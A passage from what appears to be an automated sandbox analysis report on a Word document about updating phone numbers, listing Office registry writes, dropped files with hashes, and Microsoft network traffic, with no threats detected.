F7079466561747572654761746573315C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22436F7079466561747572654761746573325C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574466561747572654761746573315C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2247657446656174757265476174657331305C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2247657446656174757265476174657331315C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2247657446656174757265476174657331325C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2247657446656174757265476174657331335C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2247657446656174757265476174657331355C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574466561747572654761746573325C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574466561747572654761746573335C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574466561747572654761746573345C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574466561747572654761746573355C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574466561747572654761746573365C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574466561747572654761746573375C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574466561747572654761746573385C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574466561747572654761746573395C22203A207B205C224576656E74466C61675C22203A2032207D2C205C224D5C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22535C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22446F776E6C6F61645265736F757263655C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C2241757468656E7469636174696F6E5C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C22526573756C7447726F7570546F52656E6465725C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C2253656E64576562536F636B6574526571756573745C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C22576562536F636B657450696E67506F6E674C6174656E63795C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C22446961676E6F737469635C22203A207B205C224576656E74466C61675C22203A2032207D207D2C205C225375624E616D657370616365735C22203A207B205C22486F73745C22203A207B205C224576656E74735C22203A207B205C22496E7365727448746D6C5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E736572744F6F786D6C5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224C61756E6368466565644261636B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253656E64436F7079746F436C6970426F6172645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E7365727448797065726C696E6B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225365744D65737361676543616C6C6261636B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2245786563757465416374696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253656C65637452616E67655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22537461727450616E654C61756E636865725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22537461727453696E676C65537472696E6750616E65734C61756E636865725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E7365727444617461547970655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E73657274546578745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E766F6B6546696C6573416374696F6E735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253656E64436F7079546F436C6970426F6172645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224E61766967617465546F50616E655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22416374696F6E4E6F74496D706C656D656E7465645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2242726F7773654E617469766546696C65735C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2238564D65686C6C5C22203A207B205C225375624E616D657370616365735C22203A207B205C22356B69614B3747426B7A505746675C22203A207B205C224576656E74735C22203A207B205C22373139305C22203A207B205C224576656E74466C61675C22203A2032207D207D207D207D207D2C205C22385C22203A207B205C225375624E616D657370616365735C22203A207B205C227A424B387872415553554E52497859484E4B55415C22203A207B205C224576656E74735C22203A207B205C22393133335C22203A207B205C224576656E74466C61675C22203A2032207D207D207D207D207D2C205C224F66666963655C22203A207B205C224576656E74735C22203A207B205C2253797374656D644D617463685C22203A207B205C224576656E74466C61675C22203A2032207D207D2C205C225375624E616D657370616365735C22203A207B205C22496E7369676874735C22203A207B205C224576656E74735C22203A207B205C22536D6172744C6F6F6B75705C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22536D6172744C6F6F6B75705F5F5C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22536D6172744C6F6F6B75705F5F5F5C22203A207B205C224576656E74466C61675C22203A2032207D207D207D2C205C2253797374656D5C22203A207B205C224576656E74735C22203A207B205C2241637469766974795C22203A207B205C224576656E74466C61675C22203A2032207D207D207D2C205C2253797374656D68633863674F6A46515C22203A207B205C224576656E74735C22203A207B205C22383635335C22203A207B205C224576656E74466C61675C22203A2032207D207D207D207D207D207D207D2C205C22556952756E74696D655C22203A207B205C224576656E74735C22203A207B205C224F6E50616E65436C6F7365645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E74656E745365727669636550726F78794F6E436F6E6E656374696F6E436C6F7365645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224F6E436F6E6E656374696F6E436C6F7365645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250726F636573735265717565737451756575655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253656E64526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224F6E50616E6552656164795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22576562536F636B6574436C69656E745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2248616E646C65496E636F6D696E674D6573736167655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436C65616E50616E6553657373696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22437265617465576562536F636B65745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224E6F7469667950616E6557697468536561726368526573756C745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224F6E53535248746D6C52656164795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224E6F7469667950616E65576974685353524A7346696C655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250726F63657373526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224E6F7469667950616E65576974684E6574776F726B4572726F725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224F6E50616E65436C6F73696E675C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224F6E446174614D65737361676552656365697665645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22437265617465486F7374536B696C6C4576656E745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224E6F7469667950616E6557697468496E446F6346616C6C6261636B446174615C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224D6F6E69746F724C6976656E657373416E645265706F727449664572726F725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224F6E50616E6548796472617465645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224F6E4F66666963654A734C6F616465645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224C61756E636850616E6543616E63656C65645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224E6174697665536561726368526573756C74735265717565737465645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E646F63536561726368436F72655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253656E644D6573736167654532455C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225365617263684C6F63616C50726F7669646572735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22536561726368446F63756D656E74436F6E74656E745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22536561726368436F72655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250726570617265536561726368436F6E746578745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250616E65416374696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C22536B696C6C735C22203A207B205C225375624E616D657370616365735C22203A207B205C224C6F63616C5365617263685C22203A207B205C224576656E74735C22203A207B205C224C6F63616C5365617263685C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D207D207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E496E74656C6C6967656E745365727669636573222C20225622203A20227374643A3A77737472696E677C7B205C224576656E74466C61675C22203A20322C205C225375624E616D657370616365735C22203A207B205C224F7074496E5C22203A207B205C224576656E74735C22203A207B205C225573657252656A65637465644F7074496E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253686F774469616C6F675C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E4C6561726E696E67222C20225622203A20227374643A3A77737472696E677C7B205C224576656E74466C61675C22203A2032207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E4C656E73222C20225622203A20227374643A3A77737472696E677C7B205C224576656E74466C61675C22203A2032207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E4C6963656E73696E67222C20225622203A20227374643A3A77737472696E677C7B205C224576656E74735C22203A207B205C22436F70696C6F745374617475735C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22436F6D70617265427573426172735C22203A207B205C224576656E74466C61675C22203A2032207D2C205C224C6963656E73696E67427573626172416374696F6E5C22203A207B205C224576656E74466C61675C22203A203439343038207D2C205C22487244697370617463685375625461736B53746172745C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22517569636B56616C69646174696F6E5C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2253617665416C6C536B75696473546F52656769737472795C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2257616974546F52657472794865617274626561745C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22536561726368466F7253657373696F6E546F6B656E5C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C224E554C56616C69646174696F6E5C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C2256616C696461746553657373696F6E546F6B656E5C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C2243616E52756E4665617475726543616368655C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C22506572666F726D4C6963656E73696E674E6F74696669636174696F6E735C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C224C6963656E73696E6744796E616D696343616E7661735369676E496E5C22203A207B205C224576656E74466C61675C22203A203439343038207D2C205C22456E666F7263655369676E496E466C6F7746697273745061
(PID) Process:(5048) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData
Operation:writeName:ChunkCount
Value:
uint64_t|40
Executable files
33
Suspicious files
127
Text files
20
Unknown types
0

Dropped files

PID
Process
Filename
Type
5048WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmbinary
MD5:B65CC1C99B0671098D9D8B4B12C8615C
SHA256:850134443521C6CB21FE8DD6ED535BEDC1222EBEA42028FEF34841A6C05A8018
5048WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bintext
MD5:612BCBB92D5FD3807826919A78D9246B
SHA256:7DC107C599E13BA3B48D80F0FEB1951D39C7EA26B73B67B6388199C8D20982C8
5048WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$новление телефонных номеров.docxbinary
MD5:BC0EB41A99EAE707492211AD4282ABD1
SHA256:DAD444D2085DA845735B66BBD442B3D9E1070635D294A35C96832BE1C9122E19
5048WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bintext
MD5:CC90D669144261B198DEAD45AA266572
SHA256:89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899
5048WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\Personalization\Governance\Anonymous\floodgatecampaigns.json.tmpbinary
MD5:222152E746720D7044C86AA99DFBF941
SHA256:9B634D27318C2B73FE8D07BE171E6CF0DED8CE77E2D7A4794D7CE50E743E42E8
5048WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\msoCCE7.tmpdocument
MD5:3F09E0CC3A073BADF0CB8D5CA9FBB75F
SHA256:72E5BD8E0B323B1DF3B48669F85710B645D92F13FEB5A48EDD9AD081B3E19F08
5048WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbresbinary
MD5:7EA4F8950051D47D9DB3C48D9D73E309
SHA256:5E5232902992A47E5C1E26D4831EC90B383C68E02C033039373D0C32803660C8
5048WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\4E1350FE-65F5-4FB5-8BD9-17513516EA3Cxml
MD5:5010A0F504DAE5C2CA5E7C0595901B7E
SHA256:2B365C83534D7C7063B240929BC830DDFA3BCD3DF6F09F12A4B9C1868F36D0C2
5048WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbresbinary
MD5:41078060564116DBECB6F36D1CC7E203
SHA256:E1772F28AEAB99EC292691050EBF6D96B989E4E1A3D3B0F53744FEAF89D3B83C
5048WINWORD.EXEC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9binary
MD5:08A40F750238405572083F920EE90250
SHA256:E3B14F064E2064760F7DE8DDB07807AAFD666B4391617232F82E19148D37E2DE
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
14
TCP/UDP connections
71
DNS requests
25
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5048
WINWORD.EXE
GET
200
23.216.77.23:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
7184
SIHClient.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
5048
WINWORD.EXE
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl
unknown
whitelisted
5048
WINWORD.EXE
GET
200
23.216.77.23:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl
unknown
whitelisted
7184
SIHClient.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
5048
WINWORD.EXE
GET
200
23.216.77.23:80
http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl
unknown
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
6544
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
51.104.136.2:443
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
whitelisted
5496
MoUsoCoreWorker.exe
2.16.164.120:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5496
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
4
System
192.168.100.255:138
whitelisted
2104
svchost.exe
51.104.136.2:443
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
5048
WINWORD.EXE
52.109.32.97:443
officeclient.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
GB
whitelisted
5048
WINWORD.EXE
52.123.129.14:443
ecs.office.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
5048
WINWORD.EXE
2.16.164.114:443
omex.cdn.office.net
Akamai International B.V.
NL
whitelisted

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 2.16.164.120
  • 2.16.164.49
  • 23.216.77.23
  • 23.216.77.33
  • 23.216.77.24
  • 23.216.77.26
  • 23.216.77.28
  • 23.216.77.25
  • 23.216.77.32
  • 23.216.77.27
  • 23.216.77.29
whitelisted
google.com
  • 142.250.185.174
whitelisted
www.microsoft.com
  • 95.101.149.131
  • 23.52.120.96
whitelisted
officeclient.microsoft.com
  • 52.109.32.97
whitelisted
ecs.office.com
  • 52.123.129.14
  • 52.123.128.14
whitelisted
omex.cdn.office.net
  • 2.16.164.114
  • 2.16.164.96
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
fs.microsoft.com
  • 23.60.203.209
whitelisted
messaging.engagement.office.com
  • 52.111.229.20
whitelisted
login.live.com
  • 40.126.32.72
  • 40.126.32.76
  • 20.190.160.66
  • 40.126.32.74
  • 40.126.32.68
  • 40.126.32.134
  • 20.190.160.67
  • 20.190.160.17
whitelisted

Threats

No threats detected
No debug info